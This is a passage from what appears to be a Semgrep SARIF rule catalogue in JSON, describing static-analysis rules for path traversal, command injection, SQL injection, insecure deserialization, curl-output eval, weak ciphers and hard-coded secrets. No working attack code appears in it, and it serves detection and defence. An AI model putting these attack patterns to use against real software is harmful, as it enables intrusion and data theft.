sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.path-traversal.grpc-path-traversal-taint.grpc-path-traversal-taint)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function."},"helpUri":"https://semgrep.dev/r/go.grpc.path-traversal.grpc-path-traversal-taint.grpc-path-traversal-taint","id":"go.grpc.path-traversal.grpc-path-traversal-taint.grpc-path-traversal-taint","name":"go.grpc.path-traversal.grpc-path-traversal-taint.grpc-path-traversal-taint","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.path-traversal.grpc-path-traversal-taint.grpc-path-traversal-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The profiling 'pprof' endpoint is automatically exposed on /debug/pprof. This could leak information about the server. Instead, use `import \"net/http/pprof\"`. See https://www.farsightsecurity.com/blog/txt-record/go-remote-profiling-20161028/ for more information and mitigation."},"help":{"markdown":"The profiling 'pprof' endpoint is automatically exposed on /debug/pprof. This could leak information about the server. Instead, use `import \"net/http/pprof\"`. See https://www.farsightsecurity.com/blog/txt-record/go-remote-profiling-20161028/ for more information and mitigation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.pprof.pprof-debug-exposure)\n - [https://www.farsightsecurity.com/blog/txt-record/go-remote-profiling-20161028/](https://www.farsightsecurity.com/blog/txt-record/go-remote-profiling-20161028/)\n","text":"The profiling 'pprof' endpoint is automatically exposed on /debug/pprof. This could leak information about the server. Instead, use `import \"net/http/pprof\"`. See https://www.farsightsecurity.com/blog/txt-record/go-remote-profiling-20161028/ for more information and mitigation."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.pprof.pprof-debug-exposure","id":"go.lang.security.audit.net.pprof.pprof-debug-exposure","name":"go.lang.security.audit.net.pprof.pprof-debug-exposure","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","LOW CONFIDENCE","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.pprof.pprof-debug-exposure"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`$TY` is setup to use the OFB cipher mode. This mode is insecure it is vulnerable to replay attacks, predictable outputs if IVs are reused. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`."},"help":{"markdown":"`$TY` is setup to use the OFB cipher mode. This mode is insecure it is vulnerable to replay attacks, predictable outputs if IVs are reused. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.crypto.ciphers.ofb-mode.ofb-mode)\n - [https://cwe.mitre.org/data/definitions/327.html](https://cwe.mitre.org/data/definitions/327.html)\n - [https://learn.microsoft.com/en-us/dotnet/fundamentals/code-analysis/quality-rules/ca5358](https://learn.microsoft.com/en-us/dotnet/fundamentals/code-analysis/quality-rules/ca5358)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"`$TY` is setup to use the OFB cipher mode. This mode is insecure it is vulnerable to replay attacks, predictable outputs if IVs are reused. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.crypto.ciphers.ofb-mode.ofb-mode","id":"csharp.dotnet.crypto.ciphers.ofb-mode.ofb-mode","name":"csharp.dotnet.crypto.ciphers.ofb-mode.ofb-mode","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.crypto.ciphers.ofb-mode.ofb-mode"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.ssh.ssh-empty-password.ssh-empty-password)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.ssh.ssh-empty-password.ssh-empty-password","id":"go.secrets.ssh.ssh-empty-password.ssh-empty-password","name":"go.secrets.ssh.ssh-empty-password.ssh-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.ssh.ssh-empty-password.ssh-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application should check the trust result of the SecTrustEvaluate API call to ensure that the connection is trusted. Failure to do so may allow connections to proceed under insecure circumstances, resulting in a reduction in transport layer security guarantees."},"help":{"markdown":"The application should check the trust result of the SecTrustEvaluate API call to ensure that the connection is trusted. Failure to do so may allow connections to proceed under insecure circumstances, resulting in a reduction in transport layer security guarantees.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.insecure-communication.sect.sect-misuse.sectrustevaluate-misuse)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n","text":"The application should check the trust result of the SecTrustEvaluate API call to ensure that the connection is trusted. Failure to do so may allow connections to proceed under insecure circumstances, resulting in a reduction in transport layer security guarantees."},"helpUri":"https://semgrep.dev/r/swift.insecure-communication.sect.sect-misuse.sectrustevaluate-misuse","id":"swift.insecure-communication.sect.sect-misuse.sectrustevaluate-misuse","name":"swift.insecure-communication.sect.sect-misuse.sectrustevaluate-misuse","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.insecure-communication.sect.sect-misuse.sectrustevaluate-misuse"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Default session middleware settings: `path` not set. It indicates the path of the cookie; use it to compare against the request path. If this and domain match, then send the cookie in the request."},"help":{"markdown":"Default session middleware settings: `path` not set. It indicates the path of the cookie; use it to compare against the request path. If this and domain match, then send the cookie in the request.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-path)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Default session middleware settings: `path` not set. It indicates the path of the cookie; use it to compare against the request path. If this and domain match, then send the cookie in the request."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-path","id":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-path","name":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-path","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-path"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyjwt.python-pyjwt-hardcoded-secret.python-pyjwt-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.pyjwt.python-pyjwt-hardcoded-secret.python-pyjwt-hardcoded-secret","id":"python.pyjwt.python-pyjwt-hardcoded-secret.python-pyjwt-hardcoded-secret","name":"python.pyjwt.python-pyjwt-hardcoded-secret.python-pyjwt-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyjwt.python-pyjwt-hardcoded-secret.python-pyjwt-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.okhttp.secrets.empty-credentials.empty.Credentials)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.okhttp.secrets.empty-credentials.empty.Credentials","id":"kotlin.okhttp.secrets.empty-credentials.empty.Credentials","name":"kotlin.okhttp.secrets.empty-credentials.empty.Credentials","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.okhttp.secrets.empty-credentials.empty.Credentials"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Data is being eval'd from a `curl` command. An attacker with control of the server in the `curl` command could inject malicious code into the `eval`, resulting in a system comrpomise. Avoid eval'ing untrusted data if you can. If you must do this, consider checking the SHA sum of the content returned by the server to verify its integrity."},"help":{"markdown":"Data is being eval'd from a `curl` command. An attacker with control of the server in the `curl` command could inject malicious code into the `eval`, resulting in a system comrpomise. Avoid eval'ing untrusted data if you can. If you must do this, consider checking the SHA sum of the content returned by the server to verify its integrity.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.github-actions.security.curl-eval.curl-eval)\n - [https://docs.github.com/en/actions/learn-github-actions/security-hardening-for-github-actions#understanding-the-risk-of-script-injections](https://docs.github.com/en/actions/learn-github-actions/security-hardening-for-github-actions#understanding-the-risk-of-script-injections)\n","text":"Data is being eval'd from a `curl` command. An attacker with control of the server in the `curl` command could inject malicious code into the `eval`, resulting in a system comrpomise. Avoid eval'ing untrusted data if you can. If you must do this, consider checking the SHA sum of the content returned by the server to verify its integrity."},"helpUri":"https://semgrep.dev/r/yaml.github-actions.security.curl-eval.curl-eval","id":"yaml.github-actions.security.curl-eval.curl-eval","name":"yaml.github-actions.security.curl-eval.curl-eval","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.github-actions.security.curl-eval.curl-eval"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"HTTP method [$METHOD] to Laravel route $ROUTE_NAME is vulnerable to SQL injection via string concatenation or unsafe interpolation."},"help":{"markdown":"HTTP method [$METHOD] to Laravel route $ROUTE_NAME is vulnerable to SQL injection via string concatenation or unsafe interpolation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-api-route-sql-injection.laravel-api-route-sql-injection)\n - [https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md)\n","text":"HTTP method [$METHOD] to Laravel route $ROUTE_NAME is vulnerable to SQL injection via string concatenation or unsafe interpolation."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-api-route-sql-injection.laravel-api-route-sql-injection","id":"php.laravel.security.laravel-api-route-sql-injection.laravel-api-route-sql-injection","name":"php.laravel.security.laravel-api-route-sql-injection.laravel-api-route-sql-injection","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-api-route-sql-injection.laravel-api-route-sql-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.jjwt.jjwt-hardcode.jjwt-hardcode)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.jjwt.jjwt-hardcode.jjwt-hardcode","id":"kotlin.jjwt.jjwt-hardcode.jjwt-hardcode","name":"kotlin.jjwt.jjwt-hardcode.jjwt-hardcode","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.jjwt.jjwt-hardcode.jjwt-hardcode"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected HTTPConnectionPool. This will transmit data in cleartext. It is recommended to use HTTPSConnectionPool instead for to encrypt communications."},"help":{"markdown":"Detected HTTPConnectionPool. This will transmit data in cleartext. It is recommended to use HTTPSConnectionPool instead for to encrypt communications.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.network.http-not-https-connection.http-not-https-connection)\n - [https://urllib3.readthedocs.io/en/1.2.1/pools.html#urllib3.connectionpool.HTTPSConnectionPool](https://urllib3.readthedocs.io/en/1.2.1/pools.html#urllib3.connectionpool.HTTPSConnectionPool)\n","text":"Detected HTTPConnectionPool. This will transmit data in cleartext. It is recommended to use HTTPSConnectionPool instead for to encrypt communications."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.network.http-not-https-connection.http-not-https-connection","id":"python.lang.security.audit.network.http-not-https-connection.http-not-https-connection","name":"python.lang.security.audit.network.http-not-https-connection.http-not-https-connection","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.network.http-not-https-connection.http-not-https-connection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda-secure-if-array.tainted-os-command-stdlib-aws-lambda-secure-if-array)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda-secure-if-array.tainted-os-command-stdlib-aws-lambda-secure-if-array","id":"python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda-secure-if-array.tainted-os-command-stdlib-aws-lambda-secure-if-array","name":"python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda-secure-if-array.tainted-os-command-stdlib-aws-lambda-secure-if-array","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda-secure-if-array.tainted-os-command-stdlib-aws-lambda-secure-if-array"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to."},"help":{"markdown":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.avoid-tainted-http-request.avoid-tainted-http-request)\n - [https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/file_access/index.markdown](https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/file_access/index.markdown)\n","text":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.avoid-tainted-http-request.avoid-tainted-http-request","id":"ruby.rails.security.audit.avoid-tainted-http-request.avoid-tainted-http-request","name":"ruby.rails.security.audit.avoid-tainted-http-request.avoid-tainted-http-request","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.avoid-tainted-http-request.avoid-tainted-http-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"this function is only available on Python 3.6+"},"help":{"markdown":"this function is only available on Python 3.6+\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python36.python36-compatibility-ssl)\n","text":"this function is only available on Python 3.6+"},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python36.python36-compatibility-ssl","id":"python.lang.compatibility.python36.python36-compatibility-ssl","name":"python.lang.compatibility.python36.python36-compatibility-ssl","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python36.python36-compatibility-ssl"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected Flask route directly returning a formatted string. This is subject to cross-site scripting if user input can reach the string. Consider using the template engine instead and rendering pages with 'render_template()'."},"help":{"markdown":"Detected Flask route directly returning a formatted string. This is subject to cross-site scripting if user input can reach the string. Consider using the template engine instead and rendering pages with 'render_template()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.directly-returned-format-string.directly-returned-format-string)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected Flask route directly returning a formatted string. This is subject to cross-site scripting if user input can reach the string. Consider using the template engine instead and rendering pages with 'render_template()'."},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.directly-returned-format-string.directly-returned-format-string","id":"python.flask.security.audit.directly-returned-format-string.directly-returned-format-string","name":"python.flask.security.audit.directly-returned-format-string.directly-returned-format-string","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.directly-returned-format-string.directly-returned-format-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected RC2 cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM."},"help":{"markdown":"Detected RC2 cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insecure-cipher-algorithm-rc2.insecure-cipher-algorithm-rc2)\n - [https://cwe.mitre.org/data/definitions/326.html](https://cwe.mitre.org/data/definitions/326.html)\n - [https://www.pycryptodome.org/src/cipher/cipher](https://www.pycryptodome.org/src/cipher/cipher)\n","text":"Detected RC2 cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insecure-cipher-algorithm-rc2.insecure-cipher-algorithm-rc2","id":"python.pycryptodome.security.insecure-cipher-algorithm-rc2.insecure-cipher-algorithm-rc2","name":"python.pycryptodome.security.insecure-cipher-algorithm-rc2.insecure-cipher-algorithm-rc2","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insecure-cipher-algorithm-rc2.insecure-cipher-algorithm-rc2"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-torch-pickle-django.tainted-torch-pickle-django)\n - [https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/](https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/;](https://davidhamann.de/2020/04/05/exploiting-python-pickle/;)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f)](https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f))\n - [https://pytorch.org/docs/stable/generated/torch.load.html](https://pytorch.org/docs/stable/generated/torch.load.html)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-torch-pickle-django.tainted-torch-pickle-django","id":"python.django.deserialization.tainted-torch-pickle-django.tainted-torch-pickle-django","name":"python.django.deserialization.tainted-torch-pickle-django.tainted-torch-pickle-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-torch-pickle-django.tainted-torch-pickle-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input entering a `subprocess` call unsafely. This could result in a command injection vulnerability. An attacker could use this vulnerability to execute arbitrary commands on the host, which allows them to download malware, scan sensitive data, or run any command they wish on the server. Do not let users choose the command to run. In general, prefer to use Python API versions of system commands. If you must use subprocess, use a dictionary to allowlist a set of commands."},"help":{"markdown":"Detected user input entering a `subprocess` call unsafely. This could result in a command injection vulnerability. An attacker could use this vulnerability to execute arbitrary commands on the host, which allows them to download malware, scan sensitive data, or run any command they wish on the server. Do not let users choose the command to run. In general, prefer to use Python API versions of system commands. If you must use subprocess, use a dictionary to allowlist a set of commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.command.subprocess-injection.subprocess-injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Detected user input entering a `subprocess` call unsafely. This could result in a command injection vulnerability. An attacker could use this vulnerability to execute arbitrary commands on the host, which allows them to download malware, scan sensitive data, or run any command they wish on the server. Do not let users choose the command to run. In general, 